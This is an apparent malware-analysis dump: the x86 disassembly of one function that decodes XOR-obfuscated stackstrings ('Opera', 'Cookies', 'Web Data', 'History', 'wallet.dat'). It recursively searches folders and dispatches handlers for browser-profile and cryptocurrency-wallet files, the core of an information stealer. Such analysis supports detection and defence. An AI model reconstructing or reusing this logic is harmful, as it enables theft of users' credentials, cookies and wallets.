Function at 0x40c76c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x44d5b5
call fcn.0044d3f0
sub esp, 0x2b8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xb4], edx
mov edi, ecx
and dword [ebp - 4], 0
push 0x4083a4
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x16c]
call fcn.0040fcf9
mov edx, eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0xa8], edx
cmp dword [edx + 0x14], 0xf
jbe 0x40c7ba
mov edx, dword [edx]
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0x1c], edx
movaps xmm0, xmmword [0x4089b0]
movups xmmword [ebp - 0x144], xmm0
lea eax, [ebp - 0x144]
mov dword [ebp - 0x1c], eax
xor esi, esi
mov dword [ebp - 0xe8], esi
cmp esi, 0xe
jae 0x40c802
lea ecx, [esi + 1]
add ecx, eax
mov dword [ebp - 0x1c], ecx
mov al, byte [ecx]
xor al, byte [ebp - 0x144]
mov byte [ebp - 0x11], al
mov dword [ebp - 0x1c], ecx
mov byte [ecx], al
inc esi
lea eax, [ebp - 0x144]
jmp 0x40c7d6
mov byte [ebp - 0x135], 0
lea eax, [ebp - 0x143]
mov dword [ebp - 0x1c], eax
mov ah, 0x42
mov dword [ebp - 0x5e], 0x30270942
mov dword [ebp - 0x5a], 0x712e272c
mov dword [ebp - 0x56], 0x2e266c70
mov word [ebp - 0x52], 0x2e
lea ecx, [ebp - 0x5e]
mov dword [ebp - 0x1c], ecx
xor esi, esi
mov dword [ebp - 0xec], esi
cmp esi, 0xc
jae 0x40c863
inc ecx
add ecx, esi
mov dword [ebp - 0x1c], ecx
mov al, byte [ecx]
xor al, ah
mov byte [ebp - 0x11], al
mov dword [ebp - 0x1c], ecx
mov byte [ecx], al
inc esi
mov dword [ebp - 0xec], esi
mov ah, byte [ebp - 0x5e]
lea ecx, [ebp - 0x5e]
jmp 0x40c83d
mov byte [ebp - 0x51], 0
lea eax, [ebp - 0x2c4]
push eax
push edx
lea edx, [ebp - 0x143]
lea ecx, [ebp - 0x5d]
call fcn.0040af96
call eax
mov esi, eax
mov dword [ebp - 0x1c], esi
lea ecx, [ebp - 0x16c]
call fcn.0040fa99
cmp esi, 0xffffffff
je 0x40cec1
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0xcc]
call fcn.0040fb41
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xac], 0x340
mov eax, dword [ebp - 0xac]
xor eax, 0xc41
mov dword [ebp - 0x18], eax
xor eax, 0xf11
test dword [ebp - 0x2c4], eax
je 0x40c96f
mov edx, 0x4083a8
lea ecx, [ebp - 0xcc]
call fcn.0040ff4b
test al, al
jne 0x40cdcf
mov edx, 0x4083ac
lea ecx, [ebp - 0xcc]
call fcn.0040ff4b
test al, al
jne 0x40cdcf
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb0], 0xc84
mov eax, dword [ebp - 0xb0]
xor eax, 0xc85
add eax, dword [ebp + 0x10]
push eax
lea eax, [ebp - 0xcc]
push eax
push ecx
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0xe4]
call fcn.0040fd77
mov edx, eax
lea ecx, [ebp - 0x16c]
call fcn.0040ffcd
push eax
push dword [ebp + 8]
mov edx, dword [ebp - 0xb4]
mov ecx, edi
call fcn.0040c76c
lea ecx, [ebp - 0x16c]
jmp 0x40cdbf
lea eax, [ebp - 0xcc]
push eax
push ecx
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x16c]
call fcn.0040fd77
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.0040ffcd
lea ecx, [ebp - 0x16c]
call fcn.0040fa99
mov ah, 0x21
mov dword [ebp - 0x6a], 0x464e6d21
mov dword [ebp - 0x66], 0x65014f48
mov dword [ebp - 0x62], 0x405540
xor edx, edx
mov dword [ebp - 0xf0], edx
cmp edx, 0xa
jae 0x40c9e1
lea ecx, [ebp - 0x69]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, ah
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
mov dword [ebp - 0xf0], edx
mov ah, byte [ebp - 0x6a]
jmp 0x40c9bc
mov byte [ebp - 0x5f], 0
lea edx, [ebp - 0x69]
lea ecx, [ebp - 0xcc]
call fcn.0040ff4b
test al, al
je 0x40ca8b
lea eax, [ebp - 0xe4]
push eax
mov ecx, edi
call fcn.004144a8
mov ah, 0x7d
mov dword [ebp - 0x29], 0x180d327d
mov word [ebp - 0x25], 0x1c0f
mov byte [ebp - 0x23], 0
xor edx, edx
mov dword [ebp - 0xf4], edx
cmp edx, 5
jae 0x40ca49
lea ecx, [ebp - 0x28]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, ah
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
mov dword [ebp - 0xf4], edx
mov ah, byte [ebp - 0x29]
jmp 0x40ca24
mov byte [ebp - 0x23], 0
push 0
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x184]
push eax
mov ecx, edi
call fcn.00413f2f
lea edx, [ebp - 0x28]
mov ecx, eax
call fcn.0040ff4b
mov byte [ebp - 0x11], al
lea ecx, [ebp - 0x184]
call fcn.0040fa99
cmp byte [ebp - 0x11], 0
je 0x40cdc4
jmp 0x40cb4e
mov ah, 0x52
mov dword [ebp - 0x32], 0x3d3d1152
mov dword [ebp - 0x2e], 0x21373b39
mov byte [ebp - 0x2a], 0
xor edx, edx
mov dword [ebp - 0xf8], edx
cmp edx, 7
jae 0x40cacc
lea ecx, [ebp - 0x31]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, ah
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
mov dword [ebp - 0xf8], edx
mov ah, byte [ebp - 0x32]
jmp 0x40caa7
mov byte [ebp - 0x2a], 0
lea edx, [ebp - 0x31]
lea ecx, [ebp - 0xcc]
call fcn.0040ff4b
test al, al
je 0x40caf5
lea eax, [ebp - 0xe4]
push eax
mov ecx, edi
call fcn.00414b3d
jmp 0x40cdc4
mov ah, 0x16
mov dword [ebp - 0x45], 0x74734116
mov dword [ebp - 0x41], 0x62775236
mov word [ebp - 0x3d], 0x77
xor edx, edx
mov dword [ebp - 0x100], edx
cmp edx, 8
jae 0x40cb38
lea ecx, [ebp - 0x44]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, ah
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
mov dword [ebp - 0x100], edx
mov ah, byte [ebp - 0x45]
jmp 0x40cb13
mov byte [ebp - 0x3c], 0
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0xcc]
call fcn.0040ff4b
test al, al
je 0x40cb6f
lea eax, [ebp - 0xe4]
push eax
mov ecx, edi
call fcn.004156f6
lea eax, [ebp - 0xe4]
push eax
mov ecx, edi
call fcn.004151a6
jmp 0x40cdc4
mov ah, 0x68
mov dword [ebp - 0x3b], 0x1b012068
mov dword [ebp - 0x37], 0x111a071c
mov byte [ebp - 0x33], 0
xor edx, edx
mov dword [ebp - 0x104], edx
cmp edx, 7
jae 0x40cbb0
lea ecx, [ebp - 0x3a]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, ah
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
mov dword [ebp - 0x104], edx
mov ah, byte [ebp - 0x3b]
jmp 0x40cb8b
mov byte [ebp - 0x33], 0
lea edx, [ebp - 0x3a]
lea ecx, [ebp - 0xcc]
call fcn.0040ff4b
test al, al
je 0x40cbd9
lea eax, [ebp - 0xe4]
push eax
mov ecx, edi
call fcn.00415e58
jmp 0x40cdc4
movups xmm0, xmmword [0x408f50]
movups xmmword [ebp - 0x134], xmm0
mov dword [ebp - 0x124], 0x6c7d60
xor edx, edx
mov dword [ebp - 0x108], edx
cmp edx, 0x12
jae 0x40cc1c
lea ecx, [ebp - 0x133]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, byte [ebp - 0x134]
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
jmp 0x40cbf3
mov byte [ebp - 0x121], 0
lea edx, [ebp - 0x133]
lea ecx, [ebp - 0xcc]
call fcn.0040ff4b
test al, al
je 0x40cc4b
lea eax, [ebp - 0xe4]
push eax
mov ecx, edi
call fcn.004161b5
jmp 0x40cdc4
movups xmm0, xmmword [0x408890]
movups xmmword [ebp - 0x154], xmm0
xor edx, edx
mov dword [ebp - 0x10c], edx
cmp edx, 0xe
jae 0x40cc84
lea ecx, [ebp - 0x153]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, byte [ebp - 0x154]
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
jmp 0x40cc5b
mov byte [ebp - 0x145], 0
lea edx, [ebp - 0x153]
lea ecx, [ebp - 0xcc]
call fcn.0040ff4b
test al, al
je 0x40ccb3
lea eax, [ebp - 0xe4]
push eax
mov ecx, edi
call fcn.004166fa
jmp 0x40cdc4
mov ah, 0x6e
mov dword [ebp - 0x76], 0x20f196e
mov dword [ebp - 0x72], 0x401a0b02
mov dword [ebp - 0x6e], 0x1a0f0a
xor edx, edx
mov dword [ebp - 0x110], edx
cmp edx, 0xa
jae 0x40ccf7
lea ecx, [ebp - 0x75]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, ah
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
mov dword [ebp - 0x110], edx
mov ah, byte [ebp - 0x76]
jmp 0x40ccd2
mov byte [ebp - 0x6b], 0
lea edx, [ebp - 0x75]
lea ecx, [ebp - 0xcc]
call fcn.0040ff4b
test al, al
je 0x40cd45
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa8], 0xf2b
mov eax, dword [ebp - 0xa8]
xor eax, 0xf2e
cmp dword [ebp + 0x10], eax
jg 0x40cdc4
push dword [ebp - 0xb4]
push dword [ebp + 0xc]
call fcn.00412e6d
jmp 0x40cdc4
mov ah, 0x7e
mov dword [ebp - 0x22], 0x120d507e
mov word [ebp - 0x1e], 0x10
xor edx, edx
mov dword [ebp - 0x114], edx
cmp edx, 4
jae 0x40cd81
lea ecx, [ebp - 0x21]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, ah
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
mov dword [ebp - 0x114], edx
mov ah, byte [ebp - 0x22]
jmp 0x40cd5c
mov byte [ebp - 0x1d], 0
push ecx
lea eax, [ebp - 0x21]
push eax
lea ecx, [ebp - 0xcc]
call fcn.0040f98e
cmp eax, 0xffffffff
je 0x40cdc4
push 0x4083b0
lea edx, [ebp - 0xcc]
lea ecx, [ebp - 0x184]
call fcn.0040fcf9
push eax
mov ecx, dword [ebp + 8]
call fcn.0040fa32
lea ecx, [ebp - 0x184]
call fcn.0040fa99
lea ecx, [ebp - 0xe4]
call fcn.0040fa99
lea ecx, [ebp - 0xcc]
call fcn.0040fa99
mov ah, 0x11
mov dword [ebp - 0x84], 0x63745a11
mov dword [ebp - 0x80], 0x227d747f
mov dword [ebp - 0x7c], 0x7d753f23
mov word [ebp - 0x78], 0x7d
xor edx, edx
mov dword [ebp - 0xfc], edx
cmp edx, 0xc
jae 0x40ce2d
lea ecx, [ebp - 0x83]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, ah
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
mov dword [ebp - 0xfc], edx
mov ah, byte [ebp - 0x84]
jmp 0x40ce02
mov byte [ebp - 0x77], 0
mov ah, 0x5d
mov dword [ebp - 0xa1], 0x33341b5d
mov dword [ebp - 0x9d], 0x25381339
mov dword [ebp - 0x99], 0x31341b29
mov word [ebp - 0x95], 0x1c38
mov byte [ebp - 0x93], 0
xor edx, edx
mov dword [ebp - 0x118], edx
cmp edx, 0xd
jae 0x40ce94
lea ecx, [ebp - 0xa0]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov al, byte [ecx]
xor al, ah
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], ecx
mov byte [ecx], al
inc edx
mov dword [ebp - 0x118], edx
mov ah, byte [ebp - 0xa1]
jmp 0x40ce69
mov byte [ebp - 0x93], 0
lea eax, [ebp - 0x2c4]
push eax
mov esi, dword [ebp - 0x1c]
push esi
lea edx, [ebp - 0xa0]
lea ecx, [ebp - 0x83]
call fcn.0040af96
call eax
test eax, eax
jne 0x40c898
mov dl, 0x54
mov dword [ebp - 0x50], 0x3a3d1254
mov dword [ebp - 0x4c], 0x3b381730
mov word [ebp - 0x48], 0x3127
mov byte [ebp - 0x46], 0
lea edi, [ebp - 0x50]
xor ecx, ecx
mov dword [ebp - 0x11c], ecx
cmp ecx, 9
jae 0x40cf01
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x11c], ecx
mov dl, byte [ebp - 0x50]
jmp 0x40cee6
mov byte [ebp - 0x46], 0
mov dl, 0x59
mov dword [ebp - 0x92], 0x2b3c1259
mov dword [ebp - 0x8e], 0x6a353c37
mov dword [ebp - 0x8a], 0x353d776b
mov word [ebp - 0x86], 0x35
lea edi, [ebp - 0x92]
xor ecx, ecx
mov dword [ebp - 0x120], ecx
cmp ecx, 0xc
jae 0x40cf5a
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x120], ecx
mov dl, byte [ebp - 0x92]
jmp 0x40cf3c
mov byte [ebp - 0x85], 0
push esi
lea edx, [ebp - 0x4f]
lea ecx, [ebp - 0x91]
call fcn.0040af96
call eax
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc